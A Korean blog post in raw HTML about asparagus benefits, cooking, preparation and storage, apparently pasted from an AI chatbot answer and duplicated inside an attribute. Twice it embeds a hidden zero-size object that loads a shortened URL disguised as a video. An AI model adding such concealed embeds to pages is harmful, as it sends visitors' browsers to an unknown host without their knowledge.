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<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/cn2d" type="video/mp4"></object>
<div _ngcontent-ng-c1476202065="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:49">아스파라거스, 건강과 맛을 동시에! 효능, 먹는 법, 손질 및 보관법까지 완벽 정복</h2><p data-sourcepos="3:1-3:24"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c4138327406="" class="ng-star-inserted"><div _ngcontent-ng-c4138327406="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c4138327406="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c4138327406="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2337808022="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4a9325a61feab8f1&quot;,&quot;c_cd329efea3e8b11a&quot;,null,&quot;rc_c69e591afcf64083&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EC%95%84%EC%8A%A4%ED%8C%8C%EB%9D%BC%EA%B1%B0%EC%8A%A4"><span _ngcontent-ng-c2337808022="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c4138327406="" class="image loaded" alt="아스파라거스 사진 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcQoF3-gDrpusyZmmrRsbak_ZZh3Eag9-aJ1d0NED-DdESh93NPJGCbtJHfebXjy"></span><span _ngcontent-ng-c2337808022="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c4138327406="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EC%95%84%EC%8A%A4%ED%8C%8C%EB%9D%BC%EA%B1%B0%EC%8A%A4" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4a9325a61feab8f1&quot;,&quot;c_cd329efea3e8b11a&quot;,null,&quot;rc_c69e591afcf64083&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c4138327406="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><!----><span _ngcontent-ng-c4138327406="" class="label ellipsis gmat-caption">namu.wiki</span><span _ngcontent-ng-c4138327406="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c4138327406="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 아스파라거스 사진 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><p data-sourcepos="5:1-5:111">아스파라거스는 봄철 대표적인 제철 채소로, 싱싱한 녹색과 아삭한 식감이 일품입니다. 비타민, 미네랄 등 다양한 영양소가 풍부하여 건강에도 좋고, 다양한 요리에 활용되어 식탁을 풍성하게 만들어줍니다.</p><h3 data-sourcepos="7:1-7:18">아스파라거스의 놀라운 효능</h3><ul data-sourcepos="9:1-14:0">
<li data-sourcepos="9:1-9:45"><strong>항산화 작용</strong>: 활성산소를 제거하여 노화를 방지하고 면역력을 높여줍니다.</li>
<li data-sourcepos="10:1-10:60"><strong>혈액순환 개선</strong>: 혈관을 깨끗하게 하고 혈액순환을 원활하게 하여 심혈관 질환 예방에 도움을 줍니다.</li>
<li data-sourcepos="11:1-11:43"><strong>체중 감량</strong>: 칼로리가 낮고 포만감이 커 다이어트 식단에 적합합니다.</li>
<li data-sourcepos="12:1-12:50"><strong>소화 촉진</strong>: 소화 효소 분비를 촉진하여 소화를 돕고 변비 해소에도 효과적입니다.</li>
<li data-sourcepos="13:1-14:0"><strong>이뇨 작용</strong>: 체내 노폐물 배출을 촉진하여 부종 완화에 도움을 줍니다.</li>
</ul><h3 data-sourcepos="15:1-15:19">아스파라거스 맛있게 먹는 법</h3><p data-sourcepos="17:1-17:35">아스파라거스는 다양한 요리에 활용될 수 있는 만능 채소입니다.</p><ul data-sourcepos="19:1-24:0">
<li data-sourcepos="19:1-19:67"><strong>볶음</strong>: 살짝 데친 아스파라거스를 베이컨, 마늘 등과 함께 볶아 먹으면 고소하고 짭짤한 맛을 즐길 수 있습니다.</li>
<li data-sourcepos="20:1-20:56"><strong>구이</strong>: 올리브 오일을 발라 오븐에 구워 먹으면 아스파라거스 본연의 향을 즐길 수 있습니다.</li>
<li data-sourcepos="21:1-21:53"><strong>샐러드</strong>: 다른 채소와 함께 샐러드로 만들어 먹으면 상큼하고 가볍게 즐길 수 있습니다.</li>
<li data-sourcepos="22:1-22:55"><strong>스프</strong>: 아스파라거스를 넣어 스프를 만들면 부드러운 식감과 진한 풍미를 느낄 수 있습니다.</li>
<li data-sourcepos="23:1-24:0"><strong>파스타</strong>: 파스타에 아스파라거스를 넣어 함께 볶아 먹으면 색다른 풍미를 더할 수 있습니다.</li>
</ul><p data-sourcepos="25:1-25:27"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c4138327406="" class="ng-star-inserted"><div _ngcontent-ng-c4138327406="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c4138327406="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c4138327406="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2337808022="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4a9325a61feab8f1&quot;,&quot;c_cd329efea3e8b11a&quot;,null,&quot;rc_c69e591afcf64083&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6977257"><span _ngcontent-ng-c2337808022="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c4138327406="" class="image loaded" alt="아스파라거스 요리 모음 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcTTS0I9ceh7XtquqF46xxdpsnL37pFlKGwOQ2GPFjbzcUBi4gvU4AKTBrEerhlV"></span><span _ngcontent-ng-c2337808022="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c4138327406="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6977257" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4a9325a61feab8f1&quot;,&quot;c_cd329efea3e8b11a&quot;,null,&quot;rc_c69e591afcf64083&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c4138327406="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c4138327406="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c4138327406="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c4138327406="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 아스파라거스 요리 모음 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><h3 data-sourcepos="27:1-27:19">아스파라거스 손질 및 보관법</h3><ul data-sourcepos="29:1-31:0">
<li data-sourcepos="29:1-29:56"><strong>손질</strong>: 밑동의 딱딱한 부분을 잘라내고, 필러를 이용하여 줄기 아랫부분의 껍질을 벗겨줍니다.</li>
<li data-sourcepos="30:1-31:0"><strong>보관</strong>: 신문지나 키친타월로 싸서 냉장 보관하면 3~5일 정도 보관할 수 있습니다.</li>
</ul><h3 data-sourcepos="32:1-32:22">아스파라거스, 건강을 위한 선택!</h3><p data-sourcepos="34:1-34:63">아스파라거스는 맛과 영양을 모두 갖춘 건강한 식재료입니다. 다양한 요리에 활용하여 건강한 식단을 만들어 보세요.</p><p data-sourcepos="36:1-36:28"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c4138327406="" class="ng-star-inserted"><div _ngcontent-ng-c4138327406="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c4138327406="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c4138327406="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2337808022="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4a9325a61feab8f1&quot;,&quot;c_cd329efea3e8b11a&quot;,null,&quot;rc_c69e591afcf64083&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://wtable./recipes/3TbfdcPQTtkm6qc1oazKBSsS"><span _ngcontent-ng-c2337808022="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c4138327406="" class="image loaded" alt="아스파라거스 선택 가이드 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRA1s0C5c_Y7hJNBGdxiqv-_6_lr2LoJGWFQyi5edQKwSA74Z-Di1howXTC14o3"></span><span _ngcontent-ng-c2337808022="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c4138327406="" rel="noopener" class="source ng-star-inserted" s://wtable./recipes/3TbfdcPQTtkm6qc1oazKBSsS" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_4a9325a61feab8f1&quot;,&quot;c_cd329efea3e8b11a&quot;,null,&quot;rc_c69e591afcf64083&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c4138327406="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn3.gstatic.com/-tbn?q=tbn:ANd9GcSplMbeWaIJb_u15wME2OjJosivXTp4AJvg9HovE3o-ttouKAD-S_Ilj7FFZ5ir1o0Q8d5HZEC7nzP6Ro2yIK1iyFDZcY0W"><!----><span _ngcontent-ng-c4138327406="" class="label ellipsis gmat-caption">wtable.</span><span _ngcontent-ng-c4138327406="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c4138327406="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 아스파라거스 선택 가이드 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><p data-sourcepos="38:1-38:71"><strong>Tip:</strong> 아스파라거스를 구매할 때는 줄기가 곧고 굵으며, 머리 부분이 紧密하고 녹색을 띠는 것을 선택하는 것이 좋습니다.</p><p data-sourcepos="40:1-40:54"><strong>주의:</strong> 아스파라거스는 퓨린 성분이 함유되어 있어 통풍 환자는 과다 섭취를 피해야 합니다.</p><p data-sourcepos="42:1-42:47"><strong>이 글이 아스파라거스에 대한 궁금증을 해결하는 데 도움이 되었기를 바랍니다.</strong></p><p data-sourcepos="44:1-44:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><p data-sourcepos="46:1-46:53"><strong>키워드:</strong> 아스파라거스, 효능, 먹는 법, 손질, 보관, 요리, 건강, 채소, 봄철 채소</p><p data-sourcepos="48:1-48:40"><strong>아스파라거스 건강 요리 채소 효능 먹는법 손질 보관</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cn2d" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c1476202065="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:49">아스파라거스, 건강과 맛을 동시에! 효능, 먹는 법, 손질 및 보관법까지 완벽 정복</h2><p data-sourcepos="3:1-3:24"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c4138327406="" class="ng-star-inserted"><div _ngcontent-ng-c4138327406="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c4138327406="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c4138327406="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2337808022="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_4a9325a61feab8f1","c_cd329efea3e8b11a",null,"rc_c69e591afcf64083",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EC%95%84%EC%8A%A4%ED%8C%8C%EB%9D%BC%EA%B1%B0%EC%8A%A4"><span _ngcontent-ng-c2337808022="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c4138327406="" class="image loaded" alt="아스파라거스 사진 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQoF3-gDrpusyZmmrRsbak_ZZh3Eag9-aJ1d0NED-DdESh93NPJGCbtJHfebXjy"></span><span _ngcontent-ng-c2337808022="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c4138327406="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EC%95%84%EC%8A%A4%ED%8C%8C%EB%9D%BC%EA%B1%B0%EC%8A%A4" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_4a9325a61feab8f1","c_cd329efea3e8b11a",null,"rc_c69e591afcf64083",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c4138327406="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><!----><span _ngcontent-ng-c4138327406="" class="label ellipsis gmat-caption">namu.wiki</span><span _ngcontent-ng-c4138327406="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c4138327406="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 아스파라거스 사진 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><p data-sourcepos="5:1-5:111">아스파라거스는 봄철 대표적인 제철 채소로, 싱싱한 녹색과 아삭한 식감이 일품입니다. 비타민, 미네랄 등 다양한 영양소가 풍부하여 건강에도 좋고, 다양한 요리에 활용되어 식탁을 풍성하게 만들어줍니다.</p><h3 data-sourcepos="7:1-7:18">아스파라거스의 놀라운 효능</h3><ul data-sourcepos="9:1-14:0">
<li data-sourcepos="9:1-9:45"><strong>항산화 작용</strong>: 활성산소를 제거하여 노화를 방지하고 면역력을 높여줍니다.</li>
<li data-sourcepos="10:1-10:60"><strong>혈액순환 개선</strong>: 혈관을 깨끗하게 하고 혈액순환을 원활하게 하여 심혈관 질환 예방에 도움을 줍니다.</li>
<li data-sourcepos="11:1-11:43"><strong>체중 감량</strong>: 칼로리가 낮고 포만감이 커 다이어트 식단에 적합합니다.</li>
<li data-sourcepos="12:1-12:50"><strong>소화 촉진</strong>: 소화 효소 분비를 촉진하여 소화를 돕고 변비 해소에도 효과적입니다.</li>
<li data-sourcepos="13:1-14:0"><strong>이뇨 작용</strong>: 체내 노폐물 배출을 촉진하여 부종 완화에 도움을 줍니다.</li>
</ul><h3 data-sourcepos="15:1-15:19">아스파라거스 맛있게 먹는 법</h3><p data-sourcepos="17:1-17:35">아스파라거스는 다양한 요리에 활용될 수 있는 만능 채소입니다.</p><ul data-sourcepos="19:1-24:0">
<li data-sourcepos="19:1-19:67"><strong>볶음</strong>: 살짝 데친 아스파라거스를 베이컨, 마늘 등과 함께 볶아 먹으면 고소하고 짭짤한 맛을 즐길 수 있습니다.</li>
<li data-sourcepos="20:1-20:56"><strong>구이</strong>: 올리브 오일을 발라 오븐에 구워 먹으면 아스파라거스 본연의 향을 즐길 수 있습니다.</li>
<li data-sourcepos="21:1-21:53"><strong>샐러드</strong>: 다른 채소와 함께 샐러드로 만들어 먹으면 상큼하고 가볍게 즐길 수 있습니다.</li>
<li data-sourcepos="22:1-22:55"><strong>스프</strong>: 아스파라거스를 넣어 스프를 만들면 부드러운 식감과 진한 풍미를 느낄 수 있습니다.</li>
<li data-sourcepos="23:1-24:0"><strong>파스타</strong>: 파스타에 아스파라거스를 넣어 함께 볶아 먹으면 색다른 풍미를 더할 수 있습니다.</li>
</ul><p data-sourcepos="25:1-25:27"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c4138327406="" class="ng-star-inserted"><div _ngcontent-ng-c4138327406="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c4138327406="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c4138327406="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2337808022="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_4a9325a61feab8f1","c_cd329efea3e8b11a",null,"rc_c69e591afcf64083",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6977257"><span _ngcontent-ng-c2337808022="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c4138327406="" class="image loaded" alt="아스파라거스 요리 모음 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTTS0I9ceh7XtquqF46xxdpsnL37pFlKGwOQ2GPFjbzcUBi4gvU4AKTBrEerhlV"></span><span _ngcontent-ng-c2337808022="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c4138327406="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6977257" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_4a9325a61feab8f1","c_cd329efea3e8b11a",null,"rc_c69e591afcf64083",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c4138327406="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c4138327406="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c4138327406="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c4138327406="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 아스파라거스 요리 모음 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><h3 data-sourcepos="27:1-27:19">아스파라거스 손질 및 보관법</h3><ul data-sourcepos="29:1-31:0">
<li data-sourcepos="29:1-29:56"><strong>손질</strong>: 밑동의 딱딱한 부분을 잘라내고, 필러를 이용하여 줄기 아랫부분의 껍질을 벗겨줍니다.</li>
<li data-sourcepos="30:1-31:0"><strong>보관</strong>: 신문지나 키친타월로 싸서 냉장 보관하면 3~5일 정도 보관할 수 있습니다.</li>
</ul><h3 data-sourcepos="32:1-32:22">아스파라거스, 건강을 위한 선택!</h3><p data-sourcepos="34:1-34:63">아스파라거스는 맛과 영양을 모두 갖춘 건강한 식재료입니다. 다양한 요리에 활용하여 건강한 식단을 만들어 보세요.</p><p data-sourcepos="36:1-36:28"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c4138327406="" class="ng-star-inserted"><div _ngcontent-ng-c4138327406="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c4138327406="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c4138327406="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2337808022="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_4a9325a61feab8f1","c_cd329efea3e8b11a",null,"rc_c69e591afcf64083",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://wtable./recipes/3TbfdcPQTtkm6qc1oazKBSsS"><span _ngcontent-ng-c2337808022="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c4138327406="" class="image loaded" alt="아스파라거스 선택 가이드 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRA1s0C5c_Y7hJNBGdxiqv-_6_lr2LoJGWFQyi5edQKwSA74Z-Di1howXTC14o3"></span><span _ngcontent-ng-c2337808022="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c4138327406="" rel="noopener" class="source ng-star-inserted" s://wtable./recipes/3TbfdcPQTtkm6qc1oazKBSsS" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_4a9325a61feab8f1","c_cd329efea3e8b11a",null,"rc_c69e591afcf64083",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c4138327406="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSplMbeWaIJb_u15wME2OjJosivXTp4AJvg9HovE3o-ttouKAD-S_Ilj7FFZ5ir1o0Q8d5HZEC7nzP6Ro2yIK1iyFDZcY0W"><!----><span _ngcontent-ng-c4138327406="" class="label ellipsis gmat-caption">wtable.</span><span _ngcontent-ng-c4138327406="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c4138327406="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 아스파라거스 선택 가이드 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><p data-sourcepos="38:1-38:71"><strong>Tip:</strong> 아스파라거스를 구매할 때는 줄기가 곧고 굵으며, 머리 부분이 紧密하고 녹색을 띠는 것을 선택하는 것이 좋습니다.</p><p data-sourcepos="40:1-40:54"><strong>주의:</strong> 아스파라거스는 퓨린 성분이 함유되어 있어 통풍 환자는 과다 섭취를 피해야 합니다.</p><p data-sourcepos="42:1-42:47"><strong>이 글이 아스파라거스에 대한 궁금증을 해결하는 데 도움이 되었기를 바랍니다.</strong></p><p data-sourcepos="44:1-44:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><p data-sourcepos="46:1-46:53"><strong>키워드:</strong> 아스파라거스, 효능, 먹는 법, 손질, 보관, 요리, 건강, 채소, 봄철 채소</p><p data-sourcepos="48:1-48:40"><strong>아스파라거스 건강 요리 채소 효능 먹는법 손질 보관</strong></p></div>
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아스파라거스 효능 먹는법 손질 보관
묵호
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24.11.30 01:52
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